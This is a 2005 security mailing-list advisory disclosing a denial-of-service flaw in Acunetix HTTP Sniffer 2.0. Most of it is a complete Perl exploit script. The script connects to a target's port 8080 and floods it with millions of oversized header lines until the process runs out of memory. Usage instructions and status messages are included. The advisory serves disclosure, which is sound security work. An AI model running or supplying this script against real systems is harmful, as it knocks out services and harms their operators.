[NT] Acunetix HTTP Sniffer DoS

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To: list@securiteam.com
Date: 7 Aug 2005 17:13:43 +0200

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  Acunetix HTTP Sniffer DoS
------------------------------------------------------------------------

SUMMARY

" <http://www.acunetix.com/> Acunetix Web Vulnerability Scanner (WVS)
tests the security of your website by crawling it and launching popular
attacks such as cross site scripting, sql injection and more. "

Acunetix HTTP Sniffer does not properly validate input as a result it is
vulnerable to a denial of service vulnerability whenever a large amount of
characters are captured by it.

DETAILS

Vulnerable Systems:
 * Acunetix version 2.0

Exploit:
#!/usr/bin/perl
#
# Acunetix HTTP Sniffer DOS Exploit
# ------------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
# Vendor URL: www.acunetix.com

$ARGC=@ARGV;
if ($ARGC !=2) {
    print "\n";
    print " Acunetix HTTP Sniffer DOS Exploit\n";
    print "-------------------------------------\n\n";
    print "Usage: $0 [remote IP] \n";
    print "Exam: $0 127.0.0.1\n";
    exit;
}

use IO::Socket::INET;

$host=$ARGV[0];
$port= "8080";

print "\n";
print "[+] Connect to $host..\n";
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
=> 'tcp') || die "[-] Connection error$@\n";
print "[+] Connected\n";
sleep(1);

print "[+] Build buffer..\n";
sleep(1);
$hostname="Host: $host";
$bufy='A'x50;
$bufa='A'x8183;
$len=length($bufy);
$buff="GET / HTTP/1.1\r\n";
sleep(1);

print "[+] Sending request..\n";
send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] Send DOS..";
for($i= 0; $i < 2000000; $i++)
{
  $buff=" $bufa\r\n";
  send($sock,$buff,0) || die "send error:$@\n[*] Check if server
D0s'ed\n";
}

$buff="$hostname\r\n";
$buff.="Content-Length: $len\r\n";
$buff.="\r\n";
$buff.=$bufy."\r\n\r\n";

print "[+] Now kill the process..\n";
send($sock,$buff,0) || die "[-] send error:$@\n";
print "[+] DONE..Server Out of Memory\n";
close($sock);

#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org> Eric
Basher.
The original article can be found at:
<http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=82> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=82

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